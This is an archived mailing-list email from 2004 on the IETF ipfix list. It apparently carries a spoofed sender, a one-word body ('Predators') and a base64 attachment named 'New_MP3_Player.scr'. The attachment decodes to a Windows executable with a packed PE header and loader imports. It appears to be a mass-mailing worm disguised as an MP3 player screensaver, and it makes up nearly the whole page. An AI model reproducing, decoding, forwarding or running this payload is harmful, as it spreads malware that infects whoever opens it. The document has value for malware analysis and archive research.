Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Oct  4 16:31:48 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA15965
	for <ipfix-archive@lists.ietf.org>; Mon, 4 Oct 2004 16:31:47 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CEZEK-0005Ya-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 04 Oct 2004 15:14:44 -0500
Received: from [200.180.242.22] (helo=PENTIUM4.net)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1CEZEE-0005YT-00
	for ipfix@net.doit.wisc.edu; Mon, 04 Oct 2004 15:14:39 -0500
Date: Mon, 04 Oct 2004 17:14:31 -0300
To: "Ipfix" <ipfix@net.doit.wisc.edu>
From: "Plonka" <plonka@doit.wisc.edu>
Subject: [ipfix] Re:
Message-ID: <lvwlbqyqvbbncavjxar@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------hczwotckxtlzoioevghq"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------hczwotckxtlzoioevghq
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
>Predators<br><br>

<br>
</body></html>

----------hczwotckxtlzoioevghq
Content-Type: application/octet-stream; name="New_MP3_Player.scr"
Content-Disposition: attachment; filename="New_MP3_Player.scr"
Content-Transfer-Encoding: base64

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
